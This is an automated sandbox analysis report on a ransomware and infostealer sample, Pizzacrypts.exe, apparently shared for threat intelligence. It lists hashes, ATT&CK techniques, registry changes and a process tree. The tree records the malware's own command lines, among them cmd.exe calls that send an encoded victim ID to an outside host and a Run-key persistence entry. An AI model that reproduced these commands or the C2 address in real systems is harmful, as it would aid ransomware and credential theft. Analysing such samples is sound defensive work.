c96b41fac848211321861fcf957e5f475a950c56f9024f792e5c9584f1fbd3ef

Analysis

max time kernel
189s
max time network
143s
platform
windows7_x64
resource
win7-20241023-en
resource tags

arch:x64arch:x86image:win7-20241023-enlocale:en-usos:windows7-x64system
submitted
22/11/2024, 03:36

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Pizzacrypts.exe
Size 168KB
Sample241122-d54ddstney
SHA256 d6818864dc9e10b15c88aca4d1e8fd971eff43572beba3001fd6c96028afd9f3
MD5 00f57ac8b384f7d21eeade87446659fd
SHA1 ee0204b4cda5cee612b2f62345e0bab6b125c1c4
SHA512 f20f0049a941f7d4d7b643980a11966daed9b4a3f6b961824da7619321a62b3bc70b19955c1ccea4eb3de0641aef8a8a76679bb280d419b65b0dfa7698c5d4b6
SSDEEP 3072:3rw+G6t3JFCGHMszzDLfnxGwbg2/kfkN8LCo59e559c:3c635sszzDrxIc2xK9c
MD5 SHA1 SHA512 SSDEEP

Score

9^/10

discovery persistence ransomware spyware stealer upx

Malware Config

Signatures

Renames multiple (451) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes itself 1 IoCs

pid	Process
5476	cmd.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Microsoft\Windows\CurrentVersion\Run\KfjH1x6B3AcgWcCf = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Pizzacrypts.exe"	Pizzacrypts.exe

Enumerates connected drives 3 TTPs 21 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\J:	Pizzacrypts.exe
File opened (read-only)	\??\Y:	Pizzacrypts.exe
File opened (read-only)	\??\U:	Pizzacrypts.exe
File opened (read-only)	\??\P:	Pizzacrypts.exe
File opened (read-only)	\??\O:	Pizzacrypts.exe
File opened (read-only)	\??\X:	Pizzacrypts.exe
File opened (read-only)	\??\T:	Pizzacrypts.exe
File opened (read-only)	\??\M:	Pizzacrypts.exe
File opened (read-only)	\??\H:	Pizzacrypts.exe
File opened (read-only)	\??\G:	Pizzacrypts.exe
File opened (read-only)	\??\S:	Pizzacrypts.exe
File opened (read-only)	\??\R:	Pizzacrypts.exe
File opened (read-only)	\??\N:	Pizzacrypts.exe
File opened (read-only)	\??\K:	Pizzacrypts.exe
File opened (read-only)	\??\L:	Pizzacrypts.exe
File opened (read-only)	\??\I:	Pizzacrypts.exe
File opened (read-only)	\??\E:	Pizzacrypts.exe
File opened (read-only)	\??\Z:	Pizzacrypts.exe
File opened (read-only)	\??\W:	Pizzacrypts.exe
File opened (read-only)	\??\V:	Pizzacrypts.exe
File opened (read-only)	\??\Q:	Pizzacrypts.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2172 set thread context of 2520	2172	Pizzacrypts.exe	30

UPX packed file 55 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral7/memory/2520-5-0x0000000000400000-0x0000000000EF0000-memory.dmp	upx
behavioral7/memory/2520-15-0x0000000000400000-0x0000000000EF0000-memory.dmp	upx
behavioral7/memory/2520-16-0x0000000000400000-0x0000000000EF0000-memory.dmp	upx
behavioral7/memory/2520-18-0x0000000000400000-0x0000000000EF0000-memory.dmp	upx
behavioral7/memory/2520-17-0x0000000000400000-0x000000000041C000-memory.dmp	upx
behavioral7/memory/2520-8-0x0000000000400000-0x0000000000EF0000-memory.dmp	upx
behavioral7/memory/2520-14-0x0000000000400000-0x0000000000EF0000-memory.dmp	upx
behavioral7/memory/2520-12-0x0000000000400000-0x0000000000EF0000-memory.dmp	upx
behavioral7/memory/2520-9-0x0000000000400000-0x0000000000EF0000-memory.dmp	upx
behavioral7/memory/2520-7-0x0000000000400000-0x0000000000EF0000-memory.dmp	upx
behavioral7/memory/2520-19-0x0000000000400000-0x0000000000EF0000-memory.dmp	upx
behavioral7/memory/2520-21-0x0000000000400000-0x000000000041C000-memory.dmp	upx
behavioral7/memory/2520-45-0x0000000000400000-0x0000000000EF0000-memory.dmp	upx
behavioral7/memory/2520-46-0x0000000000400000-0x0000000000EF0000-memory.dmp	upx
behavioral7/memory/2520-53-0x0000000000400000-0x0000000000EF0000-memory.dmp	upx
behavioral7/memory/2520-57-0x0000000000400000-0x0000000000EF0000-memory.dmp	upx
behavioral7/memory/2520-55-0x0000000000400000-0x0000000000EF0000-memory.dmp	upx
behavioral7/memory/2520-51-0x0000000000400000-0x0000000000EF0000-memory.dmp	upx
behavioral7/memory/2520-73-0x0000000000400000-0x0000000000EF0000-memory.dmp	upx
behavioral7/memory/2520-63-0x0000000000400000-0x0000000000EF0000-memory.dmp	upx
behavioral7/memory/2520-61-0x0000000000400000-0x0000000000EF0000-memory.dmp	upx
behavioral7/memory/2520-67-0x0000000000400000-0x0000000000EF0000-memory.dmp	upx
behavioral7/memory/2520-60-0x0000000000400000-0x0000000000EF0000-memory.dmp	upx
behavioral7/memory/2520-100-0x0000000000400000-0x0000000000EF0000-memory.dmp	upx
behavioral7/memory/2520-104-0x0000000000400000-0x0000000000EF0000-memory.dmp	upx
behavioral7/memory/2520-110-0x0000000000400000-0x0000000000EF0000-memory.dmp	upx
behavioral7/memory/2520-114-0x0000000000400000-0x0000000000EF0000-memory.dmp	upx
behavioral7/memory/2520-106-0x0000000000400000-0x0000000000EF0000-memory.dmp	upx
behavioral7/memory/2520-87-0x0000000000400000-0x0000000000EF0000-memory.dmp	upx
behavioral7/memory/2520-101-0x0000000000400000-0x0000000000EF0000-memory.dmp	upx
behavioral7/memory/2520-128-0x0000000000400000-0x0000000000EF0000-memory.dmp	upx
behavioral7/memory/2520-126-0x0000000000400000-0x0000000000EF0000-memory.dmp	upx
behavioral7/memory/2520-95-0x0000000000400000-0x0000000000EF0000-memory.dmp	upx
behavioral7/memory/2520-2302-0x0000000000400000-0x0000000000EF0000-memory.dmp	upx
behavioral7/memory/2520-2301-0x0000000000400000-0x000000000041C000-memory.dmp	upx
behavioral7/memory/2520-92-0x0000000000400000-0x0000000000EF0000-memory.dmp	upx
behavioral7/memory/2520-122-0x0000000000400000-0x0000000000EF0000-memory.dmp	upx
behavioral7/memory/2520-85-0x0000000000400000-0x0000000000EF0000-memory.dmp	upx
behavioral7/memory/2520-118-0x0000000000400000-0x0000000000EF0000-memory.dmp	upx
behavioral7/memory/2520-112-0x0000000000400000-0x0000000000EF0000-memory.dmp	upx
behavioral7/memory/2520-109-0x0000000000400000-0x0000000000EF0000-memory.dmp	upx
behavioral7/memory/2520-105-0x0000000000400000-0x0000000000EF0000-memory.dmp	upx
behavioral7/memory/2520-99-0x0000000000400000-0x0000000000EF0000-memory.dmp	upx
behavioral7/memory/2520-93-0x0000000000400000-0x0000000000EF0000-memory.dmp	upx
behavioral7/memory/2520-120-0x0000000000400000-0x0000000000EF0000-memory.dmp	upx
behavioral7/memory/2520-86-0x0000000000400000-0x0000000000EF0000-memory.dmp	upx
behavioral7/memory/2520-83-0x0000000000400000-0x0000000000EF0000-memory.dmp	upx
behavioral7/memory/2520-81-0x0000000000400000-0x0000000000EF0000-memory.dmp	upx
behavioral7/memory/2520-77-0x0000000000400000-0x0000000000EF0000-memory.dmp	upx
behavioral7/memory/2520-75-0x0000000000400000-0x0000000000EF0000-memory.dmp	upx
behavioral7/memory/2520-56-0x0000000000400000-0x0000000000EF0000-memory.dmp	upx
behavioral7/memory/2520-79-0x0000000000400000-0x0000000000EF0000-memory.dmp	upx
behavioral7/memory/2520-54-0x0000000000400000-0x0000000000EF0000-memory.dmp	upx
behavioral7/memory/2520-52-0x0000000000400000-0x0000000000EF0000-memory.dmp	upx
behavioral7/memory/2520-71-0x0000000000400000-0x0000000000EF0000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Pizzacrypts.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Pizzacrypts.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	NOTEPAD.EXE

Modifies Internet Explorer settings 1 TTPs 39 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "438408502"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Microsoft\Internet Explorer\MINIE	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Microsoft\Internet Explorer\SearchScopes	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Microsoft\Internet Explorer\SearchScopes\DownloadRetries = "2"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000a907cc1344750743988d8bab481dbfbf0000000002000000000010660000000100002000000024c2adf3467a719a2af92e19ea89043b033a5fb4963b577c7256cee9c351ed2c000000000e800000000200002000000042094b70efa9dcd58a4af2a2ef1f3c111ffd150e28cbf6812660723fa4164392200000009f4b8d27b32e53f68e627b40e49e10d111fa53c485d3db4797b5372f1b94d3fd400000003bfc409fe580a68d74b94744271ba5218e1f68813087f86adc63bc3dcec6f7d13a4a8617e356349d322f0eeb410ddd076dd37b5603623cc1a64802698f6670c7	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Microsoft\Internet Explorer\MINIE\TabBandWidth = "500"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}\FaviconPath = "C:\\Users\\Admin\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\Services\\search_{0633EE93-D776-472f-A0FF-E1416B8B2E3A}.ico"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{10EDC1F1-A883-11EF-8F09-6AE97CBD91D4} = "0"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000a907cc1344750743988d8bab481dbfbf0000000002000000000010660000000100002000000090cb398485f0314592dfb83e8667cb95cb5ee894d965033ae3b6a45437d9db37000000000e800000000200002000000027f3415caf1390b78d91cf37e275b54781aad8381f2b5d1de9689fd9b791d43b900000006d5470b1ae25e7f547349b1174d3cb4a79e41a6dd219e23142d0e5d741eb3711feae0e52eb9f8a13e2f075ff609bf5c850510fbffd4ab02fcd0b7584c716ea295565137b4e1141fb6e4727140979e90112b6f9a78700ba20c4b42466911faacdcf4f679635538c25fa72836d9acdbf8cd612a5289a02afabff667f4cf47ced0a6d0bc32f9e738abddd5e31a73236e5ae400000009407c07674d927a22a131df07dcc4ce45f74c2988d113800641f2a084bc2fa8b217915c44ed9aa7db6c8691aaaef49502f46794d016bb6134364331f0311c8b0	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 007ccfe28f3cdb01	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
6016	NOTEPAD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2172	Pizzacrypts.exe
1928	iexplore.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeBackupPrivilege	1748	vssvc.exe
Token: SeRestorePrivilege	1748	vssvc.exe
Token: SeAuditPrivilege	1748	vssvc.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
1928	iexplore.exe
6016	NOTEPAD.EXE

Suspicious use of SetWindowsHookEx 10 IoCs

pid	Process
1928	iexplore.exe
1928	iexplore.exe
1720	IEXPLORE.EXE
1720	IEXPLORE.EXE
1720	IEXPLORE.EXE
1720	IEXPLORE.EXE
4676	IEXPLORE.EXE
4676	IEXPLORE.EXE
4676	IEXPLORE.EXE
4676	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 2172 wrote to memory of 2520	2172	Pizzacrypts.exe	30
PID 2172 wrote to memory of 2520	2172	Pizzacrypts.exe	30
PID 2172 wrote to memory of 2520	2172	Pizzacrypts.exe	30
PID 2172 wrote to memory of 2520	2172	Pizzacrypts.exe	30
PID 2172 wrote to memory of 2520	2172	Pizzacrypts.exe	30
PID 2172 wrote to memory of 2520	2172	Pizzacrypts.exe	30
PID 2172 wrote to memory of 2520	2172	Pizzacrypts.exe	30
PID 2172 wrote to memory of 2520	2172	Pizzacrypts.exe	30
PID 2172 wrote to memory of 2520	2172	Pizzacrypts.exe	30
PID 2172 wrote to memory of 2520	2172	Pizzacrypts.exe	30
PID 2172 wrote to memory of 2520	2172	Pizzacrypts.exe	30
PID 2520 wrote to memory of 1588	2520	Pizzacrypts.exe	36
PID 2520 wrote to memory of 1588	2520	Pizzacrypts.exe	36
PID 2520 wrote to memory of 1588	2520	Pizzacrypts.exe	36
PID 2520 wrote to memory of 1588	2520	Pizzacrypts.exe	36
PID 1588 wrote to memory of 1928	1588	cmd.exe	38
PID 1588 wrote to memory of 1928	1588	cmd.exe	38
PID 1588 wrote to memory of 1928	1588	cmd.exe	38
PID 1588 wrote to memory of 1928	1588	cmd.exe	38
PID 1928 wrote to memory of 1720	1928	iexplore.exe	39
PID 1928 wrote to memory of 1720	1928	iexplore.exe	39
PID 1928 wrote to memory of 1720	1928	iexplore.exe	39
PID 1928 wrote to memory of 1720	1928	iexplore.exe	39
PID 2520 wrote to memory of 5648	2520	Pizzacrypts.exe	41
PID 2520 wrote to memory of 5648	2520	Pizzacrypts.exe	41
PID 2520 wrote to memory of 5648	2520	Pizzacrypts.exe	41
PID 2520 wrote to memory of 5648	2520	Pizzacrypts.exe	41
PID 2520 wrote to memory of 6016	2520	Pizzacrypts.exe	43
PID 2520 wrote to memory of 6016	2520	Pizzacrypts.exe	43
PID 2520 wrote to memory of 6016	2520	Pizzacrypts.exe	43
PID 2520 wrote to memory of 6016	2520	Pizzacrypts.exe	43
PID 1928 wrote to memory of 4676	1928	iexplore.exe	44
PID 1928 wrote to memory of 4676	1928	iexplore.exe	44
PID 1928 wrote to memory of 4676	1928	iexplore.exe	44
PID 1928 wrote to memory of 4676	1928	iexplore.exe	44
PID 2520 wrote to memory of 5476	2520	Pizzacrypts.exe	45
PID 2520 wrote to memory of 5476	2520	Pizzacrypts.exe	45
PID 2520 wrote to memory of 5476	2520	Pizzacrypts.exe	45
PID 2520 wrote to memory of 5476	2520	Pizzacrypts.exe	45

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\Pizzacrypts.exe
"C:\Users\Admin\AppData\Local\Temp\Pizzacrypts.exe"
1⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2172
- C:\Users\Admin\AppData\Local\Temp\Pizzacrypts.exe
  "C:\Users\Admin\AppData\Local\Temp\Pizzacrypts.exe"
  2⤵
  - Adds Run key to start application
  - Enumerates connected drives
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2520
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /C "start http://avtoship.com/123/index.php?u=8ACEFC592BC56C857CEE0A84BD5DAC83481702EF19B3895B7BCACACBE88C19F6EA3AC91B6D773FC0CDE4B7AF4C361D5602E0827AC81D9B58926F9C9A63821E4BBC3632758B44BC56165F7CC3A79B068059B2E7B52ADEBCC15E5AD363FEF00218380DD0714E3C9DDD52D3AEC7998CEA643E76F9F12C5DAC1549AAA32132E3300108725EC294FFE2E3324EF01270206C7AD588E60DF6A169164ED68E22692F3825AB37D30EF7B427745584B8E7F831BEED7CC963B57E8712DE88C4BB47C7EEE75845"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1588
  - - C:\Program Files\Internet Explorer\iexplore.exe
      "C:\Program Files\Internet Explorer\iexplore.exe" http://avtoship.com/123/index.php?u=8ACEFC592BC56C857CEE0A84BD5DAC83481702EF19B3895B7BCACACBE88C19F6EA3AC91B6D773FC0CDE4B7AF4C361D5602E0827AC81D9B58926F9C9A63821E4BBC3632758B44BC56165F7CC3A79B068059B2E7B52ADEBCC15E5AD363FEF00218380DD0714E3C9DDD52D3AEC7998CEA643E76F9F12C5DAC1549AAA32132E3300108725EC294FFE2E3324EF01270206C7AD588E60DF6A169164ED68E22692F3825AB37D30EF7B427745584B8E7F831BEED7CC963B57E8712DE88C4BB47C7EEE75845
      4⤵
      Modifies Internet Explorer settings
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of FindShellTrayWindow
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:1928
    - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1928 CREDAT:275457 /prefetch:2
        5⤵
        System Location Discovery: System Language Discovery
        Modifies Internet Explorer settings
        Suspicious use of SetWindowsHookEx
        
        PID:1720
    - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1928 CREDAT:603152 /prefetch:2
        5⤵
        System Location Discovery: System Language Discovery
        Modifies Internet Explorer settings
        Suspicious use of SetWindowsHookEx
        
        PID:4676
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /C "start http://avtoship.com/123/index.php?r=8ACEFC592BC56C857CEE0A84BD5DAC8045124AA16CB082583785"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5648
- - C:\Windows\SysWOW64\NOTEPAD.EXE
    "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Local\Temp\317FKF8LCG90FUIAT.txt
    3⤵
    - System Location Discovery: System Language Discovery
    - Opens file in notepad (likely ransom note)
    - Suspicious use of FindShellTrayWindow
    PID:6016
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c ""C:\Users\Admin\AppData\Local\Temp\Pizzacrypts.exe.bat" "
    3⤵
    - Deletes itself
    - System Location Discovery: System Language Discovery
    PID:5476

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1748

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...